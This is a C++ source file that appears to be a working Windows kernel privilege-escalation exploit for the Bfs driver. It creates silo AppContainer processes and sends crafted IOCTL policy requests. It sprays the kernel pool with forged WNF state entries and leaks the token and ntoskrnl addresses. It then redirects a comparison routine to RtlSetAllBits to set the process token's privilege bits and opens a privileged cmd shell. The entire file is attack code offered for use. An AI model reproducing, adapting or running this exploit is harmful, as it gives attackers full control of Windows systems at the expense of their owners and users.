#include <iostream>
#include <Windows.h>
#include <userenv.h>
#pragma comment(lib, "Userenv.lib")

#include "ntdll.h"
#pragma comment(lib, "ntdll")

#include <sddl.h>
#include "wnf.h"
#include "bfs.h"

#define SILO_APP_NAME1  L"SiloApp1"
#define SILO_APP_NAME2  L"SiloApp2"


__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;

LONGLONG GetSiloSignature(HANDLE ProcessHandle);
bool WnfSprayPrepare();

ULONGLONG gSignature2 = 0;
HANDLE gAppSilo2Handle = NULL;
HANDLE gAppSilo1Handle = NULL;
PSID gUserId2 = NULL;
PSID gContainerId = NULL;

_BFS_STORAGE* gStorgage = NULL;

int LoadWnfApi()
{
    HMODULE hNtDll = NULL;
    hNtDll = LoadLibraryA("ntdll.dll");
    if (hNtDll == NULL)
    {
        printf("load ntdll failed!\r\n");
        return -1;
    }

    NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
    NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
    NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
    NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
    NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
    if (NtCreateWnfStateName == NULL ||
        NtUpdateWnfStateData == NULL ||
        NtQueryWnfStateData == NULL ||
        NtDeleteWnfStateData == NULL ||
        NtDeleteWnfStateName == NULL)
    {
        printf("not found  functions\r\n");
        return -1;
    }

    return 0;
}

void CreateContainerIf(PCWSTR pszAppContainerName, PCWSTR pszDisplayName, PCWSTR pszDescription, PSID* ppSidAppContainerSid) {

    HRESULT Hr = CreateAppContainerProfile(pszAppContainerName, pszDisplayName, pszDescription, NULL, 0, ppSidAppContainerSid);
    if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {

        Hr = DeriveAppContainerSidFromAppContainerName(pszAppContainerName, ppSidAppContainerSid);
    }
}

struct _SiloSID
{
    unsigned __int8 Revision;
    unsigned __int8 SubAuthorityCount;
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
    unsigned int SubAuthority[2];
};

_SiloSID CreateAppSiloCapability() {
    _SiloSID SeAppSiloSid = { 0 };
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };

    IdentifierAuthority.Value[0] = 0;
    IdentifierAuthority.Value[1] = 0;
    IdentifierAuthority.Value[2] = 0;
    IdentifierAuthority.Value[3] = 0;
    IdentifierAuthority.Value[4] = 0;
    IdentifierAuthority.Value[5] = 0xF;

    InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
    SeAppSiloSid.SubAuthority[0] = 3;
    SeAppSiloSid.SubAuthority[1] = 0x10000;

    return SeAppSiloSid;
}

struct _PROC_THREAD_ATTRIBUTE
{
    unsigned __int64 Attribute;
    unsigned __int64 Size;
    unsigned __int64 Value;
};


struct _PROC_THREAD_ATTRIBUTE_LIST
{
    unsigned int PresentFlags;
    unsigned int AttributeCount;
    unsigned int LastAttribute;
    unsigned int SpareUlong0;
    _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
    _PROC_THREAD_ATTRIBUTE Attributes[1];
};

bool IsProcessInSilo(HANDLE ProcessHandl) {

    HANDLE TokenHandle = NULL;
    if (!::OpenProcessToken(
        ProcessHandl,
        TOKEN_QUERY,
        &TokenHandle))
    {
        printf("GetUserId, Failed to OpenProcessToken()\n");
        return false;
    }
    DWORD isAppSilo{};
    DWORD tokenInformationLength{ sizeof(DWORD) };

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenIsAppSilo,
        &isAppSilo,
        tokenInformationLength,
        &tokenInformationLength
    ))
    {
        printf("LaunchContainerApp, Failed to GetTokenInformation(TokenIsAppSilo)\n");
        return false;
    }

    return isAppSilo;
}

bool LaunchSiloApp(PSID pSidAppContainerSid, PCWSTR szProcessName, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T size;
    SECURITY_CAPABILITIES sc = { 0 };
    sc.AppContainerSid = pSidAppContainerSid;
    *pProcessHandle = NULL;
    *pThreadHandle = NULL;

    _SiloSID SeAppSiloSid = CreateAppSiloCapability();
    SID_AND_ATTRIBUTES Capabilities = { 0 };
    Capabilities.Sid = (PSID)(&SeAppSiloSid);
    Capabilities.Attributes = 0xf;

    sc.CapabilityCount = 1;
    sc.Capabilities = &Capabilities;

    InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
    BYTE* buffer = (BYTE*)malloc(size);
    memset(buffer, 0, size);

    si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);


    WCHAR szCommandLine[MAX_PATH];

    swprintf_s(szCommandLine, MAX_PATH, L"%ls %ls", GetCommandLineW(), szProcessName);

    bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
    *pThreadHandle = pi.hThread;
    *pProcessHandle = pi.hProcess;

    return bResult;
}

PSID GetUserId(HANDLE ProcessHandle) {
    HANDLE TokenHandle = NULL;
    TOKEN_USER* pTokenUesrInfo = NULL;
    DWORD dwLength = 0;

    if (!::OpenProcessToken(
        ProcessHandle,
        TOKEN_QUERY,
        &TokenHandle))
    {
        printf("GetUserId, Failed to OpenProcessToken()\n");
        return NULL;
    }

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenUser,
        NULL,
        dwLength,
        &dwLength
    ))
    {
        if (dwLength == 0) {
            printf("GetUserId, Failed to GetTokenInformation(TokenUser, NULL)\n");
            return NULL;
        }
    }

    pTokenUesrInfo = (TOKEN_USER*)malloc(dwLength);
    memset(pTokenUesrInfo, 0, dwLength);

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenUser,
        pTokenUesrInfo,
        dwLength,
        &dwLength
    ))
    {
        printf("GetUserId, Failed to GetTokenInformation(TokenUser)\n");
        return NULL;
    }

    return pTokenUesrInfo->User.Sid;
}

void GetUserIdString(HANDLE ProcessHandle, PUNICODE_STRING usUserId) {
    NTSTATUS Status = RtlConvertSidToUnicodeString(usUserId, GetUserId(ProcessHandle), 1);
}

PSID GetContainerId(HANDLE ProcessHandle) {
    HANDLE TokenHandle = NULL;
    TOKEN_APPCONTAINER_INFORMATION* pTokenAppContainerInfo = NULL;
    DWORD dwLength = 0;

    if (!::OpenProcessToken(
        ProcessHandle,
        TOKEN_QUERY,
        &TokenHandle))
    {
        printf("GetContainerId, Failed to OpenProcessToken()\n");
        return NULL;
    }

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenAppContainerSid,
        NULL,
        dwLength,
        &dwLength
    ))
    {
        if (dwLength == 0) {
            printf("GetContainerId, Failed to GetTokenInformation(TokenAppContainerSid, NULL)\n");
            return NULL;
        }
    }

    pTokenAppContainerInfo = (TOKEN_APPCONTAINER_INFORMATION*)malloc(dwLength);
    memset(pTokenAppContainerInfo, 0, dwLength);

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenAppContainerSid,
        pTokenAppContainerInfo,
        dwLength,
        &dwLength
    ))
    {
        printf("GetContainerId, Failed to GetTokenInformation(TokenAppContainerSid)\n");
        return NULL;
    }

    return pTokenAppContainerInfo->TokenAppContainer;
}

void GetContainerIdString(HANDLE ProcessHandle, PUNICODE_STRING usContainerId) {
  
    NTSTATUS Status = RtlConvertSidToUnicodeString(usContainerId, GetContainerId(ProcessHandle), 1);
}


HANDLE OpenDevice() {
    UNICODE_STRING usDevice = { 0 };

    RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");

    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    HANDLE hDevice = NULL;
    NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);

    if (STATUS_SUCCESS != status) {
        printf("[-] NtOpenFile() Return Code: %x\n", status);
        printf("[-] NtOpenFile() Error: %x\n", GetLastError());
        ;
    }

    return hDevice;
}

struct _BFS_SET_POLICY
{
    HANDLE TokenHandle;
    ULONG FileType;
    ULONG PolicyValue;
    ULONG PolicyFlags;
    UNICODE_STRING usFilePath;
    ULONG OperationType;
};

void SendSetPolicyRequest(HANDLE ProcessHandle) {
    HANDLE hDevice = OpenDevice();

    DWORD   InputBufferLength = 100;
    PVOID   InputBuffer = malloc(InputBufferLength);

    DWORD   OutputBufferLength = 100;
    PVOID   OutputBuffer = malloc(OutputBufferLength);

    memset(InputBuffer, 0, InputBufferLength);
    memset(OutputBuffer, 0, OutputBufferLength);


    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    _BFS_SET_POLICY Policy = { 0 };
    memset(&Policy, 0, sizeof(Policy));

    if (ProcessHandle == NULL) {
        ProcessHandle = GetCurrentProcess();
    }
    HANDLE hToken = NULL;
    BOOL bReturn = OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &hToken);


    Policy.TokenHandle = hToken;
    Policy.FileType = 1;
    Policy.PolicyValue = 2;
    Policy.PolicyFlags = 0xf;
    Policy.OperationType = 1;

    
    WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
    UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);

    WCHAR szFilePath[MAX_PATH + 1] = { 0 };
    swprintf_s(szFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", szSystemDir);

    RtlInitUnicodeString(&Policy.usFilePath, szFilePath);

    *(_BFS_SET_POLICY*)InputBuffer = Policy;

    NTSTATUS Status = NtDeviceIoControlFile(
        hDevice,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        0x228004,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength);
    //printf("Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
}


HANDLE CreateStorage(PCWSTR szUserId, PCWSTR szContainerId) {
    
    HANDLE hFile = INVALID_HANDLE_VALUE;
    WCHAR szStoragePath[MAX_PATH + 1] = { 0 };

    WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
    UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);

    swprintf_s(szStoragePath, MAX_PATH, L"%s\\config\\BFS\\%s\\%s", szSystemDir, szUserId, szContainerId);
    
    hFile = CreateFileW(szStoragePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if(hFile == INVALID_HANDLE_VALUE) {
        printf("CreateStorage, Failed to CreateFileW(%ls) (0x%x)\n", szStoragePath, GetLastError());
    }
    
    return hFile;
}

bool TryToClearStorage(PCWSTR szUserId, PCWSTR szContainerId) {

    bool bResult = false;
    WCHAR szStoragePath[MAX_PATH + 1] = { 0 };

    WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
    UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);

    swprintf_s(szStoragePath, MAX_PATH, L"%s\\config\\BFS\\%s\\%s", szSystemDir, szUserId, szContainerId);

    bResult = DeleteFileW(szStoragePath);

    return bResult;
}

void CreateTestFile(PCWSTR szFileName) {
    HANDLE hFile = CreateFileW(szFileName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTestFile() Error: 0x%x\n", GetLastError());
    }
    else {
        printf("[+] Creating %ls.\n", szFileName);
    }
    CloseHandle(hFile);
}

bool Step1() {
    PCWSTR pszAppContainerName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f2";
    PCWSTR pszDisplayName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f28";
    PCWSTR pszDescription1 = L"This is Container_c82b2e04-432a-4767-a737-143733ee9f28.";
    PSID pSidAppContainerSid1 = NULL;
    CreateContainerIf(pszAppContainerName1, pszDisplayName1, pszDescription1, &pSidAppContainerSid1);

    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;

    if (!LaunchSiloApp(pSidAppContainerSid1, SILO_APP_NAME1, & ProcessHandle, &ThreadHandle)) {
        printf("Failed to create silo app.\n");
        return false;
    }

    if (!IsProcessInSilo(ProcessHandle)) {
        printf("The process is not a silo app.\n");
        return false;
    }

    printf("\nSilo1 isAppSilo=%d\n", 1);

    UNICODE_STRING usUserId = { 0 };
    GetUserIdString(ProcessHandle, &usUserId);
    printf("Userid=%wZ\n", usUserId);

    UNICODE_STRING usContainerId = { 0 };
    GetContainerIdString(ProcessHandle, &usContainerId);
    printf("usContainerId=%wZ\n", usContainerId);

    TryToClearStorage(usUserId.Buffer, usContainerId.Buffer);
    gAppSilo1Handle = ProcessHandle;
    ResumeThread(ThreadHandle);
    Sleep(1000);

    SendSetPolicyRequest(ProcessHandle);

    return true;
   
}


bool Step2() {
    
    PCWSTR pszAppContainerName2 = L"Container_2a3ba19f-8a29-4b8d-b2e3-5da6e16365708";
    PCWSTR pszDisplayName2 = L"Container_2a3ba19f-8a29-4b8d-b2e3-5da6e16365708";
    PCWSTR pszDescription2 = L"This is Container_2a3ba19f-8a29-4b8d-b2e3-5da6e1636570.";
    PSID pSidAppContainerSid2 = NULL;
    CreateContainerIf(pszAppContainerName2, pszDisplayName2, pszDescription2, &pSidAppContainerSid2);

    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;

    if (!LaunchSiloApp(pSidAppContainerSid2, SILO_APP_NAME2, &ProcessHandle, &ThreadHandle)) {
        printf("Failed to create silo app.\n");
        return false;
    }

    if (!IsProcessInSilo(ProcessHandle)) {
        printf("The process is not a silo app.\n");
        return false;
    }

    printf("\nSilo2 isAppSilo=%d\n", 1);

    UNICODE_STRING usUserId = { 0 };
    GetUserIdString(ProcessHandle, &usUserId);
    printf("Userid=%wZ\n", usUserId);

    UNICODE_STRING usContainerId = { 0 };
    GetContainerIdString(ProcessHandle, &usContainerId);
    printf("usContainerId=%wZ\n", usContainerId);

    TryToClearStorage(usUserId.Buffer, usContainerId.Buffer);

    gSignature2 = GetSiloSignature(ProcessHandle);
    printf("Silo2 Signature=%I64x\n", gSignature2);

    gAppSilo2Handle = ProcessHandle;

    WnfSprayPrepare();

    ResumeThread(ThreadHandle);
    Sleep(1000);

    HANDLE StorageFileHandle = CreateStorage(usUserId.Buffer, usContainerId.Buffer);
    if (StorageFileHandle == INVALID_HANDLE_VALUE) {
        return false;
    }
    
    SendSetPolicyRequest(ProcessHandle);

}

WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };

bool CreateWnfStateName(){
    NTSTATUS Status = 0;

    PSECURITY_DESCRIPTOR pSD = NULL;
    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr))
    {
        return false;
    }

    for (int i = 0; i < SPRAY_COUNT; i++)
    {
        Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            return false;
        }
    }
    if (pSD)
    {
        LocalFree(pSD);
    }
    return true;
}

_RTL_GENERIC_COMPARE_RESULTS KernelCallback(struct _RTL_AVL_TABLE* Table, PVOID FirstStruct, PVOID SecondStruct) {
    int* addr = (int*)5;

    *addr = 0;

    return GenericLessThan;
}

PVOID GetObjectPointerByHandle(HANDLE hToken)
{
    ULONG bufferSize = 0x1000;
    DWORD pid = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(bufferSize);

    int status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, &bufferSize);
    if (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        free(pHandleInfo);
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(bufferSize + 0x10000);
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, &bufferSize);
    }

    for (int i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]);
        if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == (ULONG_PTR)hToken)
        {
            return pHandleEntry->Object;
        }
    }

    return NULL;
}
#define MAXIMUM_FILENAME_LENGTH 255 

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
#ifdef _WIN64
    ULONG				Reserved3;
#endif
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

PVOID GetModuleAddr(const char* modName)
{
    PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

    DWORD outBuffer = 0;
    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

    if (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        free(buffer);
        buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
        status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
    }

    if (!buffer)
    {
        printf("[-] NtQuerySystemInformation error\n");
        return 0;
    }

    for (unsigned int i = 0; i < buffer->ModulesCount; i++)
    {
        PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
        PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
        if (_stricmp(kernelImage, modName) == 0)
        {
            free(buffer);
            return kernelImageBase;
        }
    }
    free(buffer);
    return 0;
}

HMODULE GetNOSModule()
{
    HMODULE hKern = 0;
    hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    return hKern;
}

DWORD64 GetGadgetAddr(const char* name)
{
    DWORD64 base = (DWORD64)GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
    HMODULE mod = GetNOSModule();
    if (!mod)
    {
        printf("[-] leaking ntoskrnl version\n");
        return 0;
    }
    DWORD64 offset = (DWORD64)GetProcAddress(mod, name);

    DWORD64 returnValue = 0;

    if (offset != 0) {
        returnValue = base + offset - (DWORD64)mod;
    }

    FreeLibrary(mod);
    return returnValue;
}

void BuildStroage(){
    _BFS_STORAGE* Storgage = (_BFS_STORAGE*)malloc(sizeof(_BFS_STORAGE));

    memset(Storgage, 0, sizeof(_BFS_STORAGE));
    //(Storgage->FirstVolumeEntry.Directory.VolumeTable;

    _BFS_AVL_TABLE BfsTable = {0};
    memset(&BfsTable, 0, sizeof(_BFS_AVL_TABLE));


    HANDLE hToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    DWORD64 Token = (DWORD64)GetObjectPointerByHandle(hToken);
    printf("Token address=%I64x\n", Token);

    const char* name = "RtlSetAllBits";
    DWORD64 addr = GetGadgetAddr(name);

    printf("Target function %s=%I64x\n", name, addr);

    BfsTable.AvlTable.CompareRoutine = (PRTL_AVL_COMPARE_ROUTINE)(addr);

    _RTL_BITMAP* BitMapHeader = (_RTL_BITMAP*)&BfsTable.AvlTable;
    BitMapHeader->SizeOfBitMap = 0x80;
    BitMapHeader->Buffer = (PULONG)(Token + 0x40);
    BfsTable.AvlTable.NumberGenericTableElements = 1;
    BfsTable.AvlTable.BalancedRoot.RightChild = (_RTL_BALANCED_LINKS*)0xffffffffffffffe0;

    Storgage->ControlBlock = (_BFS_CONTROL_BLOCK*) malloc(sizeof(_BFS_CONTROL_BLOCK));
    memset(Storgage->ControlBlock, 0, sizeof(_BFS_CONTROL_BLOCK));
    Storgage->FirstVolumeEntry.Directory.VolumeTable = BfsTable;

    gStorgage = Storgage;

    return;
}

bool EnablePriviledges() {
    DWORD dwLen;
    bool bRes;
    HANDLE TokenHandle;

    if (!::OpenProcessToken(
        GetCurrentProcess(),
        TOKEN_ALL_ACCESS,
        &TokenHandle))
    {
        printf("GetUserId, Failed to OpenProcessToken()\n");
        return false;
    }

    // obtain dwLen
    bRes = GetTokenInformation(
        TokenHandle,
        TokenPrivileges,
        NULL,
        0,
        &dwLen
    );

    BYTE* pBuffer = new BYTE[dwLen];
    if (pBuffer == NULL)
    {
        CloseHandle(TokenHandle);
        return false ;
    }

    bRes = GetTokenInformation(
        TokenHandle,
        TokenPrivileges,
        pBuffer,
        dwLen,
        &dwLen
    );

    if (!bRes)
    {
        CloseHandle(TokenHandle);
        delete[] pBuffer;
        return false ;
    }

    
    // Iterate through all the privileges and enable them all
    // ====================================================== 
    TOKEN_PRIVILEGES* pPrivs = (TOKEN_PRIVILEGES*)pBuffer;
    printf("PrivilegeCount:%d\n", pPrivs->PrivilegeCount);
    for (DWORD i = 0; i < pPrivs->PrivilegeCount; i++)
    {
        pPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
    }
    // Store the information back in the token
    // ========================================= 
    bRes = AdjustTokenPrivileges(
        TokenHandle,
        FALSE,
        pPrivs,
        0, NULL, NULL
    );

    delete[] pBuffer;
    CloseHandle(TokenHandle);
    
    return bRes;
}

bool UpdateWnfStateData()
{
    NTSTATUS Status = 0;
    _BFS_POLICY_PARTIAL_ENTRY Entry = { 0 };
    RtlFillMemory(&Entry, sizeof(Entry), 'C');
    Entry.Signature = gSignature2;
    Entry.UserId = gUserId2;
    Entry.ContainerId = gContainerId;
    Entry.Flag = 0x10000000;
    Entry.Storage = gStorgage;

    for (int i = 0; i < SPRAY_COUNT; i += 1)
    {
        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            return false;
        }
    }

    return 0;
}



bool WnfSprayPrepare() {
    NTSTATUS Status = 0;
    _BFS_POLICY_PARTIAL_ENTRY Entry = { 0 };
    PSECURITY_DESCRIPTOR pSD = NULL;

    int count1 = 10000;
    int count2 = 5000;

    WNF_STATE_NAME StateNames[10000] = { 0 };
    WNF_STATE_NAME StateNames2[5000] = { 0 };
   

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr))
    {
        return false;
    }

    for (int i = 0; i < count1; i++)
    {
        Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtCreateWnfStateName() Return Code: %x\n", Status);
            return false;
        }
    }

    for (int i = 0; i < count1; i++)
    {
        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtUpdateWnfStateData() Return Code: %x\n", Status);
            return false;
        }
    }


    for (int i = 0; i < count2; i++)
    {
        Status = NtCreateWnfStateName(&StateNames2[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtCreateWnfStateName() Return Code: %x\n", Status);
            return false;
        }
    }

    for (int i = 0; i < count2; i++) {
        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames2[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtUpdateWnfStateData() Return Code: %x\n", Status);
            return false;
        }
    }


    for (int i = 0; i < count2; i=i+2)
    {
        Status = NtDeleteWnfStateData((PWNF_STATE_NAME)&StateNames2[i], NULL);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtDeleteWnfStateData() Return Code: %x\n", Status);
            return false;
        }

        Status = NtDeleteWnfStateName((PWNF_STATE_NAME)&StateNames2[i]);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtDeleteWnfStateName() Return Code: %x\n", Status);
            return false;
        }
    }
    

    if (pSD)
    {
        LocalFree(pSD);
    }


    return true;
}

ULONG_PTR CalcSignature(PSID UserId, PSID ContainerId) {
    LONGLONG Signature = 0i64;
    ULONG Length = 0;
    ULONG UserIdLength = 0;
    ULONG ContainerIdLength;
    BYTE ch = 0;

    UserIdLength = RtlLengthSid(UserId);
    //printf("UserIdLength=%x\n", UserIdLength);

    if (UserIdLength)
    {
        Length = UserIdLength;
        
        do
        {
            ch = *(PBYTE)UserId;
            //printf("ch=%hhx\n", ch);
            UserId = ((PBYTE)UserId + 1);
            Signature = ch + 0x25 * Signature;
            //printf("Silo2 Signature=%I64x\n", Signature);
            --Length;
        } while (Length);
    }
    ContainerIdLength = RtlLengthSid(ContainerId);
    //printf("ContainerIdLength=%x\n", ContainerIdLength);
    if (ContainerIdLength)
    {
        Length = ContainerIdLength;
        do
        {
            ch = *(PBYTE)ContainerId;
            //printf("ch=%hhx\n", ch);
            ContainerId = (PBYTE)ContainerId + 1;
            Signature = ch + 0x25 * Signature;
            //printf("Silo2 Signature=%I64x\n", Signature);
            --Length;
        } while (Length);
    }
    if (!Signature)
        Signature = 0xFFFFFFFFFFFFFFFFui64;

    return Signature;
}

LONGLONG GetSiloSignature(HANDLE ProcessHandle) {
    LONGLONG Signature = 0i64;
    PSID UserId = NULL;
    PSID ContainerId = NULL;

    UserId = GetUserId(ProcessHandle);
    ContainerId = GetContainerId(ProcessHandle);

    gUserId2 = UserId;
    gContainerId = ContainerId;

    Signature = CalcSignature(UserId, ContainerId);

    return Signature;
}

void CheckTcbPriviledge() {
    NTSTATUS Status = NtDrawText(NULL);
    
    printf("CheckTcbPriviledge NtDrawText %x, ", Status);
    if (Status == 0xC0000061) {
        printf("Failed\n");
    }
    else if (Status == 0xC000000D) {
        printf("Success\n");
    }
    else {
        printf("Unknown\n");
    }
    
}
void Step0() {
    system("cmd /c \"whoami /all\"");
    Sleep(3000);
    printf("\n\n");
    BuildStroage();
    LoadWnfApi();
    CreateWnfStateName();
}

void Step3() {
    UpdateWnfStateData();
    SendSetPolicyRequest(gAppSilo2Handle);
}

void Step4() {
    TerminateProcess(gAppSilo1Handle, 0);
    TerminateProcess(gAppSilo2Handle, 0);
    //EnablePriviledges();
    CheckTcbPriviledge();
    system("cmd");
    getchar();
}

void HostMain() {
    Step0();
    Step1();
    Step2();
    Step3();
    Step4();
}

void SiloMain1() {

    CreateTestFile(L"test1.txt");
    getchar();
}

void SiloMain2() {

    CreateTestFile(L"test2.txt");
    //Sleep(10 * 1000);
    //CreateTestFile(L"test2.txt");
    getchar();
}

int wmain(int argc, WCHAR* argv[])
{
    if (argc == 1) {
        HostMain();
    }
    else {
        if (!wcscmp(argv[1], SILO_APP_NAME1)) {
            SiloMain1();
        }else if (!wcscmp(argv[1], SILO_APP_NAME2)) {
            SiloMain2();
        };
    }
}